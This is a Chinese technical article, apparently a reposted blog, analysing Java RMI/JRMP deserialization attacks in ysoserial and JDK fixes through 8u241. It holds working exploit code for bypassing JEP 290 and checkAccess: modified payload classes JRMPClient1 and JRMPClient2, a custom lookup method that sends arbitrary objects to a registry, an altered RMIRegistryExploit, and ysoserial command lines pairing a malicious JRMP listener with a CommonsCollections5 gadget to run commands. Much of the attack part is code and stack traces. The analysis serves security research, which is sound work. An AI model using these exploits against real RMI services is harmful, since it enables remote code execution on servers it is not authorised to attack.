從ysoserial講RMI/JRMP反序列化漏洞


RMIRegistryExploit

首先ysoserial里的這個payload在jep290以后就不能用了( JDK 7u131 JDK 8u121 以后)

這里只是分析一下RMIRegistryExploit這個exploit的利用原理

在rmi中涉及到一個注冊中心的概念

其中服務端通過Registry registry = LocateRegistry.createRegistry(port);來創建注冊中心

客戶端通過Registry registry = LocateRegistry.getRegistry(host, port);來獲得注冊中心

服務端中的registry實例來自RegistryImpl_Stub類,客戶端中的registry實例來自RegistryImpl,它們都實現Registry接口

Registry這個接口有五個方法,分別是:

bind list lookup rebind unbind

而RMIRegistryExploit這個payload的關鍵代碼如下,它使用的是bind方法

ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
			try {
				registry.bind(name, remote);
			} catch (Throwable e) {
				e.printStackTrace();
			}

這里第3行引入了動態代理機制,但並沒有用到動態代理的核心功能(觸發invoke方法),反復看了一下之后我認為這里用動態代理的原因是registry.bind的第二個參數必須是Remote類型,而通過gadget生成的對象類型並不是Remote類型,引入AnnotationInvocationHandler以后其可以將payload object作為map存儲在AnnotationInvocationHandler這個Annotation中,並通過動態代理機制指定接口為Remote從而能給最后的代理對象一個Remote引用。總結一下就是為了把gadget生成的不確定什么類型的對象包裝成(偽)Remote類型對象。

而核心代碼registry.bind(name, remote);,跟到RegistryImpl_Stub#bind()

 public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
        try {
            RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);

            try {
                ObjectOutput var4 = var3.getOutputStream();
                var4.writeObject(var1);
                var4.writeObject(var2);
            } catch (IOException var5) {
                throw new MarshalException("error marshalling arguments", var5);
            }

            super.ref.invoke(var3);
            super.ref.done(var3);
        } catch (RuntimeException var6) {
            throw var6;
        } catch (RemoteException var7) {
            throw var7;
        } catch (AlreadyBoundException var8) {
            throw var8;
        } catch (Exception var9) {
            throw new UnexpectedException("undeclared checked exception", var9);
        }
    }

第3行調用UnicastRef#newcall(),向受害服務端發起RMI連接,並在7-8行向緩沖區中寫入序列化數據。

而在13行,調用了UnicastRef#invoke(),跟進去看,調用了StreamRemoteCall#executeCall()

跟到StreamRemoteCall#executeCall()

public void executeCall() throws Exception {
    DGCAckHandler var2 = null;

    byte var1;
    try {
        if (this.out != null) {
            var2 = this.out.getDGCAckHandler();
        }

        this.releaseOutputStream();
        DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
        byte var4 = var3.readByte();
        if (var4 != 81) {
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
            }

            throw new UnmarshalException("Transport return code invalid");
        }

        this.getInputStream();
        var1 = this.in.readByte();
        this.in.readID();
    } catch (UnmarshalException var11) {
        throw var11;
    } catch (IOException var12) {
        throw new UnmarshalException("Error unmarshaling return header", var12);
    } finally {
        if (var2 != null) {
            var2.release();
        }

    }

    switch(var1) {
    case 1:
        return;
    case 2:
        Object var14;
        try {
            var14 = this.in.readObject();
        } catch (Exception var10) {
            throw new UnmarshalException("Error unmarshaling return", var10);
        }

        if (!(var14 instanceof Exception)) {
            throw new UnmarshalException("Return type not Exception");
        } else {
            this.exceptionReceivedFromServer((Exception)var14);
        }
    default:
        if (Transport.transportLog.isLoggable(Log.BRIEF)) {
            Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
        }

        throw new UnmarshalException("Return code invalid");
    }
}

此處在第10行發送數據到受害服務端,使用CommonsCollection1作為payload調試,在受害服務端中lazyMap#get處下斷點會發現當exploit代碼流程走過第10行時受害服務端命中斷點。

上述代碼第41行存在反序列化操作,是否說明在bind時客戶端(攻擊機)也同樣可能被反序列化攻擊?這里留到JRMP再講,因為要證明能被攻擊需要引入exploit.JRMPListener。

再來看服務端,其實這里的受害服務端嚴格意義上來說應該叫注冊中心,只是注冊中心和RMI服務端必須在同一台機器上,注冊中心就是通俗意義上的服務器上1099端口的服務,而RMI服務端開放在另一個隨機端口。

服務端使用Registry registry = LocateRegistry.createRegistry(1099)創建注冊中心,主線程一路執行到TCPTransport#listen()

listen:336, TCPTransport (sun.rmi.transport.tcp)
exportObject:249, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:208, UnicastServerRef (sun.rmi.server)
setup:152, RegistryImpl (sun.rmi.registry)
<init>:137, RegistryImpl (sun.rmi.registry)
createRegistry:203, LocateRegistry (java.rmi.registry)
main:10, Server (rmiLearn)

然后在linsen中開啟新線程1

跟到新線程,其中調用executeAcceptLoop,executeAcceptLoop中再次開啟新線程2

后續繼續跟進發現還會開啟新的線程,最終調用readObject,不再一一截圖。

服務端開啟線程到反序列化點的調用堆棧如下:

readObject:371, ObjectInputStream (java.io) [1]
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 858472232 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

Jep290策略

這里以jdk8為例,在8u121以后,使用RMI攻擊會報錯

其會把對象拆開后逐個帶入到過濾器,也就是RegistryImpl#registryFilter做白名單檢查

registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 280884709 (sun.rmi.registry.RegistryImpl$$Lambda$4)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 427692109 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

看到RegistryImpl.class#registryFilter

  private static Status registryFilter(FilterInfo var0) {
        if (registryFilter != null) {
            Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 != null) {
                if (!var2.isArray()) {
                    return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
                } else {
                    return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
                }
            } else {
                return Status.UNDECIDED;
            }
        }
    }

第14-15行,如果不是這幾個類或者其子類,就會拋出REJECTED。

白名單里的類雖然很少,但是可以繞過的。繞過的方法就是引入exploit.JRMPListener和payloads.JRMPClient,即我第一次反序列化時不做任何惡意操作,只是向遠程惡意端發起連接,這個過程是可以做到只在白名單里的,這里留到下面exploit.JRMPListener和payloads.JRMPClient部分講。

CheckAccess策略

以jdk8為例,8u141之后checkAccess移到readObject之前

有checkAccess以后不能再遠程bind,即使可以繞過白名單依然會報錯。

exploit.JRMPListener/payloads.JRMPClient

ysoserial里面的跟JRMP有關的分別是exploit.JRMPListener ,exploit. JRMPClient ,payloads.JRMPListener,payloads.JRMPClient

乍看挺迷糊的,在學習與JRMP相關的payload之前最好先學習RMI相關知識

一般來說是exploit.JRMPListener與payloads.JRMPClient搭配使用,exploit. JRMPClient與payloads.JRMPListener搭配使用,但exploit. JRMPClient也可單獨使用。

存在exploit.JRMPListener和exploit. JRMPClient代表既有惡意客戶端又有惡意服務端,知道在通信時兩者都有反序列化操作也就不難理解為何JRMP可以對打。

先來概括一下exploit.JRMPListener和payloads.JRMPClient的使用:

exploit.JRMPListener:使用時搭配任意的gadget(如CommonCollections1)生成第二次反序列化的payload,並會在攻擊機監聽一個指定的端口

payloads.JRMPClient:攜帶指定的攻擊機ip和端口生成受害機第一次反序列化(需要代碼中存在一個反序列化點)時的payload,受害機反序列化該payload時會向指定的攻擊機ip+端口發起RMI通信,在通信階段攻擊機會將第二次反序列化的payload(如CommonCollections1)發送給受害機,此時發生第二次反序列化,執行真正的惡意命令。

payloads.JRMPClient由於也是在payloads里,其實很好理解,前面的CommonsCollections等等payload是在反序列化時會執行惡意命令,而JRMPClient這個payload是在反序列化時向遠端發起RMI通信,然后等CommonsCollections來執行命令。那么先來分析一下JRMPClient這個payload。

代碼如下:

package ysoserial.payloads;
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

    public Registry getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
            Registry.class
        }, obj);
        return proxy;
    }
}

反序列化時的執行堆棧:

newCall:338, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)

起點是RemoteObject中的readObject,而RemoteObjectInvocationHandler就繼承自RemoteObject。按照反序列化時的執行堆棧來看,比較疑惑的點在於為什么用在第22行將obj作為handler生成一個Registry動態代理對象作為最終的序列化對象結果?

試了一下發現去掉22行直接返回第20行的obj也是可以成功利用的,不太明白為何這里要生成Registry動態代理對象,不知道是否只是為了兼容。

上面那個執行堆棧只在於發起通信的階段,后續如何開始第二次反序列化呢

在執行到上面的棧頂后,如果存在服務端並建立通信,會讀取服務端的響應數據,而這個響應數據就是第二次反序列化的payload,此時執行UnicastRef#invoke()->StreamRemoteCall#executeCall()->StreamRemoteCall#executeCall(readObject),在此處的readObject開始真正反序列化執行惡意命令。

而exploit.JRMPListener充當惡意服務器,其要做的幾件事情分別是:

1.根據傳入的gadget參數和要執行的命令生成序列化對象

2.偵聽傳入的port參數對應的端口

3.接受受害機RMI請求后向其發送惡意的序列化對象

這里受害端第二次反序列化時從StreamRemoteCall#executeCall()中的readObject開始,是不是有點眼熟?

前面分析RMIRegistryExploit時,我們就發現攻擊端代碼流程會走到StreamRemoteCall#executeCall(),測試一下

開啟惡意服務器並監聽2333端口:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 "open /Applications/Calculator.app"

使用RMIRegistryExploit打惡意服務器2333端口,其他隨便填,比如

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 2333 CommonsCollections5 id

發現客戶端被反打,彈出了計算器

這里的報錯可以看出並不是因為bind導致的被反打,而是list,原因是因為ysoserial中RMIRegistryExploit在bind之前先調用了list,而list中也調用了this.ref.invoke,調用棧如下

readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
list:-1, RegistryImpl_Stub (sun.rmi.registry)
main:59, RMIRegistryExploit (ysoserial.exploit)

梳理一下:

  1. RMIRegistryExploit是客戶端發起RMI通信並發送惡意payload到正常注冊中心(服務端),注冊中心反序列化並執行惡意命令。
  2. 受害機第一次反序列化payloads.JRMPClient后向exploit.JRMPListener(相當於惡意注冊中心)發起正常RMI通信,exploit.JRMPListener(惡意注冊中心)發送惡意payload到客戶端(受害機),客戶端(受害機)第二次反序列化,執行真正的惡意命令。
  3. RMI可以被反打,因為JRMP可以對打。

Jep290策略繞過

前面雖然說過引入exploit.JRMPListener和payloads.JRMPClient就可以繞過jep290

但我們不能直接指定JRMPClient這個payload來做RMIRegistryExploit的payload,因為AnnotationInvocationHandler是會使服務端拋出REJECTED的,但是還記得我們前面說過,AnnotationInvocationHandler這個類在RMIRegistryExploit中的使用只是為了把對象包裝成Remote接口,而分析了JRMPClient這個payload發現它的反序列化過程本來就是從RemoteObject#readObject開始的。

那么新建一個JRMPClient1

package ysoserial.payloads;


import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Remote> {

    public Remote getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        Remote obj = new RemoteObjectInvocationHandler(ref);
        return obj;
    }
    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

再新建一個RMIRegistryExploit1(當然也可以不這么寫,直接把JRMPClient1的核心代碼移植到RMIRegistryExploit1也可)

package ysoserial.exploit;

import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;

import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.JRMPClient1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;


    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        public Socket createSocket(String host, int port) throws IOException {
            try {
                SSLContext ctx = SSLContext.getInstance("TLS");
                ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
                SSLSocketFactory factory = ctx.getSocketFactory();
                return factory.createSocket(host, port);
            } catch(Exception e) {
                throw new IOException(e);
            }
        }
    }

    public static void main(final String[] args) throws Exception {
        final String host = args[0];
        final int port = Integer.parseInt(args[1]);
        final String command = args[2];
        Registry registry = LocateRegistry.getRegistry(host, port);
        try {
            registry.list();
        } catch(ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn't detonate during construction or deserialization
        exploit(registry, command);
    }

    public static void exploit(final Registry registry,
                               final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {

            String name = "pwned" + System.nanoTime();
            JRMPClient1 jrmpclient = new JRMPClient1();
            Remote remote = jrmpclient.getObject(command);
            try {
                registry.bind(name, remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }

            return null;
        }});
    }
}

如果使用jdk8u141以下或者任意版本jdk同ip客戶端打注冊中心打就會發現可以成功攻擊。

但checkAccess策略還沒有繞過,這樣如果jdk8u141以上版本只能本機客戶端打注冊中心,那就很雞肋了。接下來的問題變成了如何繞過checkAccess策略。

8u231前的checkAccess繞過

利用lookup+JRMP(jrmp是為了繞過jep290,此為8u121之后必須條件)

前面說過在注冊中心時反序列化的點在RegistryImpl_Skel#dispatch中,而這里的var3代表客戶端發起連接的方法

其中對應的關系為:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

在bind,rebind,unbind和lookup中都有反序列化操作,但只有lookup中沒有調用checkAccess(很好理解,lookup本來功能就是遠程接口調用,自然不可能checkAccess)

但lookup中的反序列化操作是String的,是不是就意味着我們傳Object類型過來反序列化不行呢?

事實上這里是不影響的,唯一的問題就是RegistryImpl_Stub#lookup這個方法只接受一個String參數,我們在客戶端使用它來傳遞惡意的對象是不行的,怎么解決呢?參考ysomap中的實現,可以在ysoserial中自己實現一個lookup方法,使它接受Remote對象作為參數。

package ysoserial.exploit.evil;

import ysoserial.payloads.util.Reflections;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteRef;



public class Naming {

    /**
     * Disallow anyone from creating one of these
     */
    private Naming() {}

    public static Remote lookup(Registry registry, Object obj)
        throws Exception {
        RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
        long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));


        java.rmi.server.Operation[] operations = (Operation[]) Reflections.getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
        try {
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                //反射修改enableReplace
                Reflections.setFieldValue(out, "enableReplace", false);
                out.writeObject(obj); // arm obj
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {
            if(e instanceof RemoteException| e instanceof ClassCastException){
                return null;
            }else{
                throw e;
            }
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        } finally {
            ref.done(call);
        }
    }


}

然后修改之前的RMIRegistryExploit1,修改如下:

 import ysoserial.exploit.evil.Naming;
 //其他部分不做改變,省略
 public static void exploit(final Registry registry,
                               final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
            JRMPClient1 jrmpclient = new JRMPClient1();
            Remote remote = jrmpclient.getObject(command);
            try {
                Naming.lookup(registry,remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }

            return null;
        }});
    }
//其他部分不做改變,省略   

使用192.168.245.142攻擊192.168.245.1(jdk版本8u201),成功彈出計算器

8u231的修復

jdk8u21在RegistryImpl_Skel#dispatch中每個case中增加了ClassCastException,執行到反序列化時會因為反序列化返回的對象類型不是String而報錯,從而調用StreamRemoteCall#discardPendingRefs。

而這個方法會調用discardRefs()然后清除incomingRefTable屬性的值

public void discardPendingRefs() {
        this.in.discardRefs();
    }
 
 void discardRefs() {
        this.incomingRefTable.clear();
    }

也就阻斷了我們從jrmp到惡意服務端的請求過程。

為什么這里可以阻斷jrmp請求?這個消除ref的方法不是在readObject之后嗎?

這里有一個誤區會讓人以為發起JRMP請求這個操作是在readObject的調用鏈中完成的,然而其實readObject中的調用鏈中只是填充ref

而真正發起連接的是var2.releaseInputStream() //此處截圖環境為jdk8u201

這是readObject的執行流程

這是releaseInputStream的執行堆棧,可以看出這里才是真正發起JRMP請求的地方

newCall:336, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)

除此之外還有第二處修復,前面講了JRMPClient攻擊是在DGCImpl_Stub#dirty中發起JRMP請求,然后調用ref.invoke里面存在readObject執行第二次反序列化,而第二次反序列化的payload就是我們的cc鏈

8u231中在dirty之后ref.invoke之前增加了一個過濾器

這個過濾器和RegistryImpl#registryFilter過濾器一樣,也是對反序列化的對象逐層判斷是否在白名單中,而我們cc鏈顯然不在,因此即使沒有前面消除ref的操作,第二次反序列化也是不能成功執行惡意命令的

   private static Status leaseFilter(FilterInfo var0) {
        if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) {
            return Status.REJECTED;
        } else {
            Class var1 = var0.serialClass();
            if (var1 == null) {
                return Status.UNDECIDED;
            } else {
                while(var1.isArray()) {
                    if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) {
                        return Status.REJECTED;
                    }

                    var1 = var1.getComponentType();
                }

                if (var1.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;
                }
            }
        }
    }
}

8u241前的繞過

上面的修復已經看起來很完善了,但怎么居然還有繞過?再來梳理一下8u231的修復

1.添加ClassCastException,使得流程在第一次執行readObject后消除我們填充的ref

2.在開啟JRMP請求之后,執行第二次反序列化(UnicastRef#invoke()->StreamRemoteCall#executeCall()->StreamRemoteCall#executeCall(readObject)之前增加一個leaseFilter過濾器

如果我們能做到在滿足條件的類的readObject代碼中找到可以發起JRMP請求的地方,並且可以不經過DGCImpl_Stub#dirty方法直接觸發

UnicastRef#invoke()不就可以繞過了嗎?當然這個類還是需要滿足第一次反序列化的過濾器中的白名單。

找到的類就是UnicastRemoteObject

An Trinhs在Blackhat Europe 2019中分享了這個利用方式 An Trinhs RMI Registry Bypass

直接上JRMPClient2的代碼,修改RMIRegistryExploit1代碼,改為new JRMPClient2

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Remote> {

    public Remote getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler((RemoteRef) ref);
        RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
            RMIServerSocketFactory.class.getClassLoader(),// classloader
            new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
            handler// RemoteObjectInvocationHandler
        );
        // UnicastRemoteObject constructor is protected. It needs to use reflections to new a object
        Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); // 獲取默認的
        constructor.setAccessible(true);
        UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
        Reflections.setFieldValue(remoteObject, "ssf", serverSocketFactory);
        return remoteObject;
    }

看一下從第一次反序列化到第二次反序列時的執行堆棧

readObject:431, ObjectInputStream (java.io)
executeCall:270, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy1 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry)

看調用棧第6-7行,這次用到了動態代理的特性,當調用代理對象var1代理的對象所屬接口的方法createServerSocket時,會觸發RemoteObjectInvocationHandler的invoke方法

跟到invoke方法,其調用了invokeRemoteMethod方法,在invokeRemoteMethod方法中調用了ref.invoke,而此時的ref就是UnicastRef。

這里調用的invoke方法和前面DGCImpl_Stub#dirty的調用的invoke方法不是同一個invoke方法

這里調用的UnicastRef#invoke是invoke(Remote var1, Method var2, Object[] var3, long var4)

而DGCImpl_Stub#dirty的調用的UnicastRef#invoke是invoke(RemoteCall var1)

差別是invoke(RemoteCall var1)中只有excuteCall的調用,不能發起JRMP請求

  public void invoke(RemoteCall var1) throws Exception {
        try {
            clientRefLog.log(Log.VERBOSE, "execute call");
            var1.executeCall();
        } catch (RemoteException var3) {
            clientRefLog.log(Log.BRIEF, "exception: ", var3);
            this.free(var1, false);
            throw var3;
        } catch (Error var4) {
            clientRefLog.log(Log.BRIEF, "error: ", var4);
            this.free(var1, false);
            throw var4;
        } catch (RuntimeException var5) {
            clientRefLog.log(Log.BRIEF, "exception: ", var5);
            this.free(var1, false);
            throw var5;
        } catch (Exception var6) {
            clientRefLog.log(Log.BRIEF, "exception: ", var6);
            this.free(var1, true);
            throw var6;
        }
    }

invoke(Remote var1, Method var2, Object[] var3, long var4)方法等於結合了UnicastRef#newCall和UnicastRef#invoke(RemoteCall var1),同時完成了發起JRMP請求和調用excuteCall進行第二次反序列化的步驟,由於這兩個步驟都是在第一次反序列過程中並且沒有對DGCImpl_Stub#dirty的調用,因此完美繞過了8u231的修復。

8u241修復

  1. 將(String)var9.readobject()改成了SharedSecrets.getJavaObjectInputStreamReadString().readString(var9),后者不接受反序列化Object。

  2. 在RemoteObjectInvocationHandler#invokeRemoteMethod中添加驗證,method參數必須是一個remote接口,而8u231的繞過中的method是createServerSocket。

參考

https://xz.aliyun.com/t/7932#toc-12

https://github.com/wh1t3p1g/ysomap


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM